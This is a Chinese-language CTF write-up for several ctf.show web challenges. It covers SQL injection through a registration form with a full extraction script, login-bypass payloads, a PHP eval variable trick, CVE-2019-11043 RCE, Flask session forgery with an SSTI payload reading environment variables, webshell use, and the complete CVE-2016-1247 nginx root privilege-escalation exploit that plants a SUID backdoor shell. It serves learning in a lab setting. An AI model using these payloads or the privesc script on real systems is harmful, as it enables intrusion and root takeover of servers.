签到

一个登录界面,在源码中找到一个注册的路由,并且有备份文件源码泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//login.php
<?php
function check($arr){
if(preg_match("/load|and|or|\||\&|select|union|\'|=| |\\\|,|sleep|ascii/i",$arr)){
echo "<script>alert('bad hacker!')</script>";
die();
}
else{
return true;
}
}
session_start();
include('db.php');
if(isset($_POST['e'])&&isset($_POST['p']))
{
$e=$_POST['e'];
$p=$_POST['p'];
$sql ="select username from test1 where email='$e' and password='$p'";
if(check($e)&&check($p)){
$result=mysqli_query($con,$sql);
$row = mysqli_fetch_assoc($result);
if($row){
$_SESSION['u']=$row['username'];
header('location:user.php');
}
else {
echo "<script>alert('Wrong username or password')</script>";
}
}
}

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//register.php
<?php
function check($arr){
if(preg_match("/load|and|\||\&| |\\\|sleep|ascii|if/i",$arr)){
echo "<script>alert('bad hacker!')</script>";
die();
}
else{
return true;
}
}

include('db.php');
if(isset($_POST['e'])&&isset($_POST['u'])&&isset($_POST['p']))
{
$e=$_POST['e'];
$u=$_POST['u'];
$p=$_POST['p'];
$sql =
"insert into test1
set email = '$e',
username = '$u',
password = '$p'
";
if(check($e)&&check($u)&&check($p)){
if(mysqli_query($con, $sql))
{
header('location:login.php');
}
}
}

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//user.php
<?php
include('db.php');
session_start();
error_reporting(0);
if($_SESSION['u']){
$username=$_SESSION['u'];

if (is_numeric($username))
{
if(strlen($username)>10) {
$username=substr($username,0,10);
}
echo "Hello $username,there's nothing here but dog food!";
}
else{
echo "<script>alert('The username can only be a number.How did you get here?go out!!!');location.href='login.php';</script>";
}
}
else{
echo "<script>alert('Login first!');location.href='login.php';</script>";
}
?>

看源码的话其实可以知道注入的地方在哪了,因为login的过滤比较多,所以我们还是选择在register页面去进行注入

sql语句

1
2
3
4
5
6
$sql =
"insert into test1
set email = '$e',
username = '$u',
password = '$p'
";

然后因为在user中页面回显是username,所以选择username作为我们的回显点,那么我们在$e参数进行注入

但是这里的话只会截取username的前十位字符,所以可以进行分割处理,要求username需要为数字的话那就用hex去编码

payload

1
2
3
$e = "1',hex(hex(substr((select/**/flag/**/from/**/flag)from/**/1/**/for/**/1))),/*";
$u = "*/#";
$p = "1";

空格用内联注释去绕过,然后用多行注释去把username的部分注释掉,逗号用fromfor去绕过

1
2
3
4
insert into test1
set email = '1',hex(hex(substr((select/**/flag/**/from/**/flag)from/**/1/**/for/**/1))),/*',
username = '*/#',
password = '1'

因为#是单行注释,这里的多行查询语句,所以不会影响password的结果

可以测试一下

image-20250515205542128

然后直接写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import re

url2 = "http://befaf93c-f7f2-4879-9e0a-f8a778e15745.challenge.ctf.show/login.php"
url1 = "http://befaf93c-f7f2-4879-9e0a-f8a778e15745.challenge.ctf.show/register.php"
flag = ""

for i in range(1, 50):
payload = "hex(hex(substr((select/**/flag/**/from/**/flag)from/**/" + str(i) + "/**/for/**/1))),/*"
s = requests.session()
data1 = {
'e': str(i) + "',username=" + payload,
'u': "*/#",
'p': i
}
#print(data1)
r1 = s.post(url1, data=data1)
data2 = {
'e': i,
'p': i
}
#print(data2)
r2 = s.post(url2, data=data2)

#print(r2.text)

text = re.findall("Hello (.*?),",r2.text)[0]
real = bytes.fromhex(text)
flag += bytes.fromhex(real.decode()).decode()
print(flag)

登陆就有flag

说的是不用爆破

测了一下,username字段长度限制为5,并且过滤掉了空格以及很多能代替空格的编码

fuzz一下,可用字符有

1
# ' ^ =

猜测一下sql查询语句

1
select * from table where username='' and password=''

那么我们只要构造正确的逻辑都能绕过查询

参考payload:CTFshow刷题记录

1
'^0#   '^''#   '<>1#   '<1#   '&0#   '<<0#   '>>0#   '&''#   '/9#

空异或0会查到所有非数字开头的记录

也可以用比较逻辑

1
2
u = 1'<'2
p = 1'<'2

image-20250515213632014

上面师傅的payload也都是可以的

签退

1
<?php ($S = $_GET['S'])?eval("$$S"):highlight_file(__FILE__);

很简单啊,原来这个才是签到

可以直接用分号分割多个php语句,也可以直接变量覆盖

1
2
3
4
分割语句
?S=a;phpinfo();
变量覆盖
?S=a=phpinfo();

一览无余

只有一个highlight_file,然后也没找到什么可用的信息,多半就是php的版本漏洞了

看了一下php的版本是7.1.33,然后搜到一个CVE-2019-11043远程代码执行漏洞,直接用poc打进程就行,这个之前复现过

image-20250515220253101

污染成功,然后我们传入?a=id

image-20250515220333215

注意,因为php-fpm会启动多个子进程,在访问/index.php?a=id时需要多访问几次,以访问到被污染的进程。

然后RCE读flag就行

1
?a=cat%20fl0gHe1e.txt

蓝瘦

源码发现

1
2
<!-- param: ctfshow -->
<!-- key: ican -->

flask的session伪造,直接打就行

image-20250515221453183

传session后提示缺少请求参数

需要GET传ctfshow参数,这是之前源码看到的

1
?ctfshow={{8*8}}

回显64,直接ssti打,flag在环境变量中

1
?ctfshow={{"".__class__.__base__.__subclasses__()[332].__init__.__globals__['popen']('env').read()}}

出题人不想跟你说话.jpg

页面提示菜刀,直接连马子,密码是cai

image-20250515222615727

查看进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
UID          PID    PPID  C STIME TTY          TIME CMD
root 1 0 0 14:20 ? 00:00:00 /bin/sh /usr/local/bin/docker-php-entrypoint
root 11 1 0 14:20 ? 00:00:00 /usr/sbin/cron
root 12 1 0 14:20 ? 00:00:00 tail -F /dev/null
root 13 1 0 14:20 ? 00:00:00 nginx: master process nginx
www-data 14 13 0 14:20 ? 00:00:00 nginx: worker process
www-data 15 13 0 14:20 ? 00:00:00 nginx: worker process
www-data 16 13 0 14:20 ? 00:00:00 nginx: worker process
www-data 17 13 0 14:20 ? 00:00:00 nginx: worker process
root 18 1 0 14:20 ? 00:00:00 php-fpm: master process (/etc/php5/fpm/php-fpm.conf)
www-data 19 18 0 14:20 ? 00:00:00 php-fpm: pool www
www-data 20 18 0 14:20 ? 00:00:00 php-fpm: pool www
www-data 106 20 0 14:31 ? 00:00:00 sh -c /bin/sh -c "cd "/var/www/html";ps -ef;echo d0cac43f25;pwd;echo 2b44b" 2>&1
www-data 107 106 0 14:31 ? 00:00:00 /bin/sh -c cd /var/www/html;ps -ef;echo d0cac43f25;pwd;echo 2b44b
www-data 108 107 0 14:31 ? 00:00:00 ps -ef

查看定时任务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(www-data:/var/www/html) $ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/1 * * * * root /usr/sbin/logrotate -vf /etc/logrotate.d/nginx

logrotate是用来看日志的,其中我们有nginx服务,直接搜索nginx提权漏洞,先看一下版本,nginx version: nginx/1.4.6 (Ubuntu),查到CVE-2016-1247

直接打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
#!/bin/bash
#
# Nginx (Debian-based distros + Gentoo) - Root Privilege Escalation PoC Exploit
# nginxed-root.sh (ver. 1.0)
#
# CVE-2016-1247
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# ---
# This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu
# as well as Gentoo etc.) to escalate their privileges from nginx web server user
# (www-data) to root through unsafe error log handling.
#
# The exploit waits for Nginx server to be restarted or receive a USR1 signal.
# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
# script which is called daily by the cron.daily on default installations.
# The restart should take place at 6:25am which is when cron.daily executes.
# Attackers can therefore get a root shell automatically in 24h at most without any admin
# interaction just by letting the exploit run till 6:25am assuming that daily logrotation
# has been configured.
#
#
# Exploit usage:
# ./nginxed-root.sh path_to_nginx_error.log
#
# To trigger logrotation for testing the exploit, you can run the following command:
#
# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
# Video PoC:
# https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nginxrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
# Cleanup
echo -e "\n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $ERRORLOG
touch $ERRORLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload
fi
echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1
}

function ctrl_c() {
echo -e "\n[+] Ctrl+C pressed"
cleanexit 0
}

#intro

cat <<_eascii_
_______________________________
< Is your server (N)jinxed ? ;o >
-------------------------------
\
\ __---__
_- /--______
__--( / \ )XXXXXXXXXXX\v.
.-XXX( O O )XXXXXXXXXXXXXXX-
/XXX( U ) XXXXXXX\
/XXXXX( )--_ XXXXXXXXXXX\
/XXXXX/ ( O ) XXXXXX \XXXXX\
XXXXX/ / XXXXXX \__ \XXXXX
XXXXXX__/ XXXXXX \__---->
---___ XXX__/ XXXXXX \__ /
\- --__/ ___/\ XXXXXX / ___--/=
\-\ ___/ XXXXXX '--- XXXXXX
\-\/XXX\ XXXXXX /XXXXX
\XXXXXXXXX \ /XXXXX/
\XXXXXX > _/XXXXX/
\XXXXX--__/ __-- XXXX/
-XXXXXXXX--------------- XXXXXX-
\XXXXXXXXXXXXXXXXXXXXXXXXXX/
""VXXXXXXXXXXXXXXXXXXV""
_eascii_

echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
exit 3
fi

# Priv check

echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
id | grep -q www-data
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"
exit 3
fi

# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"
exit 3
fi

# [ Exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi


# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
exit 2
fi

# Symlink the log file
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
cleanexit 3
fi
echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"

# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered
curl http://localhost/ >/dev/null 2>/dev/null
# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily
# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
while :; do
sleep 1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $ERRORLOG
break;
fi
done

# /etc/ld.so.preload should be owned by www-data user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m"
else
echo -e "\n[!] Failed to get root"
cleanexit 2
fi

rm -f $ERRORLOG
echo > $ERRORLOG

# Use the rootshell to perform cleanup that requires root privilges
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
# Reset the logging to error.log
$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"

# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -i

# Job done.
cleanexit 0

唯一细节在Linux里面写这个sh文件,在虚拟终端里面不行,反弹shell即可,直接提权到root,RCE即可

image-20250515224031764